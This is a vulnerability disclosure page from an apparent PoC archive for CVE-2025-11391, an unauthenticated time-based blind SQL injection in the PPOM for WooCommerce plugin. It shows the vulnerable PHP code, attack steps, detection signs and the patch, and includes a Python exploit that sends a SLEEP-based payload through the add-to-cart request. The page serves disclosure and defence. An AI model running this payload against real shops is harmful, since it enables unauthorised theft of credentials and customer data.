PoC Archive PoC Archive
Critical CVE-2025-11391 patched

PPOM for WooCommerce <= 33.0.15 - Unauthenticated Time-Based Blind SQL Injection (CVE-2025-11391)

by aritlhq · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-11391
Category
web
Affected product
PPOM for WooCommerce (woocommerce-product-addon plugin)
Affected versions
<= 33.0.15 (patched in 33.0.16)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcheraritlhq
CVE / AdvisoryCVE-2025-11391
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPatched
Tagswordpress, woocommerce, ppom, product-addon, sql-injection, blind-sqli, time-based, cwe-89, python, php
RelatedN/A

Affected Target

FieldValue
Software / SystemPPOM for WooCommerce (woocommerce-product-addon plugin)
Versions Affected<= 33.0.15 (patched in 33.0.16)
Language / PlatformPython 3 (exploit); PHP / WordPress / WooCommerce (target)
Authentication RequiredNo
Network Access RequiredYes

Summary

The “PPOM for WooCommerce” plugin (WooCommerce Product Addon / PPOM Fields) is vulnerable to an unauthenticated time-based blind SQL injection in its get_product_meta() function, present in versions up to and including 33.0.15. The function concatenates a user-supplied $meta_id parameter directly into a raw SQL query instead of using a prepared statement, and this code path is reachable pre-authentication through the WooCommerce “add to cart” flow when the plugin’s “Enable Legacy Price Calculations” option is active. The included PoC (exploit.py) submits a crafted ppom[fields][id] value containing a SLEEP()-based payload during an add-to-cart POST request and confirms the vulnerability by observing that the server’s response is delayed (and times out) by the injected sleep duration, allowing an attacker to eventually exfiltrate database contents via blind boolean/time-based techniques.


Vulnerability Details

Root Cause

get_product_meta() in classes/plugin.class.php builds its SQL query via string concatenation instead of $wpdb->prepare():

1
2
3
4
5
6
7
function get_product_meta( $meta_id ) {
    // ...
    global $wpdb;
    $qry = 'SELECT * FROM ' . $wpdb->prefix . PPOM_TABLE_META . " WHERE productmeta_id = $meta_id";
    $res = $wpdb->get_row( $qry );
    return $res;
}

Because $meta_id is taken from user-controlled request data (the ppom[fields][id] parameter submitted during WooCommerce’s add-to-cart request) and inserted unsanitized into the query, an attacker can break out of the numeric context and inject arbitrary SQL. This code path is only exercised when the plugin’s “Enable Legacy Price Calculations” setting is enabled, which forces cart operations through the vulnerable legacy pricing logic.

Attack Vector

  1. On a site with PPOM for WooCommerce <= 33.0.15 and “Enable Legacy Price Calculations” active, an attacker submits a WooCommerce add-to-cart POST request to a product page that has a PPOM field group attached.
  2. The request includes ppom[fields][id] set to a payload such as 1 AND (SELECT 1 FROM (SELECT(SLEEP(7)))A) alongside the standard add-to-cart, quantity, and matching PPOM field parameters.
  3. The unsanitized $meta_id value flows into get_product_meta()’s raw SQL query, causing the database to execute the injected SLEEP() clause before returning a result.
  4. The attacker measures response time: a delay matching (or exceeding) the injected sleep duration confirms the query executed and the injection point is exploitable, enabling further blind data exfiltration via additional conditional/time-based payloads.

Impact

Unauthenticated blind SQL injection allowing an attacker to extract arbitrary data from the WordPress database (user credentials, session tokens, private order/customer data, etc.) via time-based inference, without needing valid credentials.


Environment / Lab Setup

Target:   Local WordPress + WooCommerce install (e.g. XAMPP/WAMP/MAMP)
Plugin:   PPOM for WooCommerce (woocommerce-product-addon) v33.0.15 — vulnerable copy included in this folder
Config:   PPOM Fields > Settings > "Enable Legacy Price Calculations" must be enabled
Product:  A WooCommerce product with a PPOM field group containing a Text Input field
                 attached (data name e.g. `sql_injection`), published, with a known Product ID
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See exploit.py and the bundled vulnerable plugin copy under woocommerce-product-addon/ in this folder.

1
2
3
python3 exploit.py

#

Detection & Indicators of Compromise

Signs of compromise:

  • Add-to-cart requests with ppom[fields][id] (or other PPOM field parameters) containing non-numeric SQL syntax
  • Unusually slow WooCommerce cart/checkout response times correlating with suspicious request parameters
  • Database slow-query logs showing SLEEP() or other time-delay function calls originating from productmeta_id lookups

Remediation

ActionDetail
Primary fixUpgrade “PPOM for WooCommerce” to version 33.0.16 or later, which uses $wpdb->prepare( "SELECT * FROM $table WHERE productmeta_id = %d", $meta_id ) instead of raw string concatenation
Interim mitigationDisable “Enable Legacy Price Calculations” in PPOM Fields settings until patched, and add WAF rules to block SQL metacharacters/keywords in ppom[fields][*] request parameters

References


Notes

Mirrored from https://github.com/aritlhq/CVE-2025-11391 on 2026-07-06. The repository was renamed/transferred but its contents remain intact: exploit.py, a full copy of the vulnerable plugin (v33.0.15) for lab reproduction, and a detailed root-cause writeup with both vulnerable and patched code shown.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import time

PRODUCT_URL = "http://localhost/wp4hacking/product/product-testing/"

def exploit_sql_injection_onestep():
    sql_payload = "1 AND (SELECT 1 FROM (SELECT(SLEEP(7)))A)"
    
    add_to_cart_data = {
        'add-to-cart': '72',
        'quantity': '1',
        'ppom[fields][sql_injection]': 'test_value',
        'ppom[fields][id]': sql_payload,
        'ppom[ppom_option_price]': '""',
    }

    print("[*] Sending SQL Injection payload...")
    start_time = time.time()
    
    try:
        response = requests.post(PRODUCT_URL, data=add_to_cart_data, timeout=10)
        
        end_time = time.time()
        duration = end_time - start_time
        print(f"   Request finished in {duration:.2f} seconds (no timeout).")
        print("\n[-] FAILED. The site responded too quickly. It does not seem vulnerable.")

    except requests.exceptions.ReadTimeout:
        end_time = time.time()
        duration = end_time - start_time
        print(f"   Request timed out after {duration:.2f} seconds.")
        
        if duration >= 7:
            print("\n[+] SUCCESS! 'Read timed out' occurred because the SLEEP(7) payload was executed.")
            print("   The site is vulnerable to Time-Based Blind SQL Injection.")
        else:
            print("\n[-] FAILED. The timeout occurred too quickly, possibly a server issue.")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] An unexpected error occurred: {e}")

if __name__ == "__main__":
    print("Attempting SQL Injection PoC (One-Step Method)...")
    print("Make sure 'Enable Legacy Price Calculations' is active.")
    exploit_sql_injection_onestep()